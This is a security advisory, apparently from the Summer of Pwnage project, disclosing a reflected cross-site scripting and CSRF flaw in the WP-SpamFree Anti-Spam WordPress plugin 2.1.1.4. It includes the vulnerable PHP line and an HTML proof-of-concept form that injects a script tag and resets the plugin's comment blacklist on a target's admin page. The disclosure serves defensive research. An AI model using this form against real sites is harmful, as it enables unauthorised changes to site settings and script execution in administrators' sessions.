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WordPress WP-SpamFree Anti-Spam 2.1.1.4 Cross Site Scripting

WordPress WP-SpamFree Anti-Spam 2.1.1.4 Cross Site Scripting
Posted Mar 1, 2017
Authored by Securify B.V., Radjnies Bhansingh

WordPress WP-SpamFree Anti-Spam plugin version 2.1.1.4 suffers from a cross site scripting vulnerability.

tags | exploit, xss
MD5 | e89ea8e105a2f4c047df0a7e0f107a73

WordPress WP-SpamFree Anti-Spam 2.1.1.4 Cross Site Scripting

Change Mirror Download
------------------------------------------------------------------------
Cross-Site Scripting vulnerability in WP-SpamFree Anti-Spam WordPress
Plugin
------------------------------------------------------------------------
Radjnies Bhansingh, July 2016

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
A reflected Cross-Site Scripting vulnerability exists in the WP-SpamFree
Anti-Spam WordPress plugin. This vulnerability allows an attacker to
perform any action with the privileges of the target user. The affected
code is not protected with an anti-Cross-Site Request Forgery token.
Consequently, it can be exploited by luring the target user into
clicking a specially crafted link or visiting a malicious website (or
advertisement).

------------------------------------------------------------------------
OVE ID
------------------------------------------------------------------------
OVE-20160712-0026

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was succesfully tested on the WP-SpamFree Anti-Spam WordPress
Plugin version 2.1.1.4.

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
There is currently no fix available.

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_wp_spamfree_anti_spam_wordpress_plugin.html

The vulnerability exists in the wp-spamfree.php file on line 6049:

$blacklist_keys_update = trim(stripslashes($_REQUEST['wordpress_comment_blacklist']));

In order to exploit this issue the target user must click a specially crafted link or visit a malicious website (or advertisement) and must be autenticated within WordPress.

In addition the WordPress specific blacklist can be cleared by using the request below and employing CSRF.

Proof of concept

The following proof of concept code demonstrates this issue:

<html>
<body>
<form action="http://<target>/wp-admin/options-general.php?page=wp-spamfree%2Fwp-spamfree.php" method="POST">
<input type="hidden" name="submitted_wpsf_general_options" value="1"/>
<input type="hidden" name="use_alt_cookie_method" value="on"/>
<input type="hidden" name="comment_logging_all" value="on"/>
<input type="hidden" name="enhanced_comment_blacklist" value="on"/>
<input type="hidden" name="wordpress_comment_blacklist" value="</textarea><script>alert(1)</script>foo
bar
press
"/>
<input type="hidden" name="allow_proxy_users" value="on"/>
<input type="hidden" name="promote_plugin_link" value="on"/>
<input type="hidden" name="submit_wpsf_general_options" value="Update Options i?1/2%B"/>
<input type="submit"/>
</form>
</body>
</html>

------------------------------------------------------------------------
Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.

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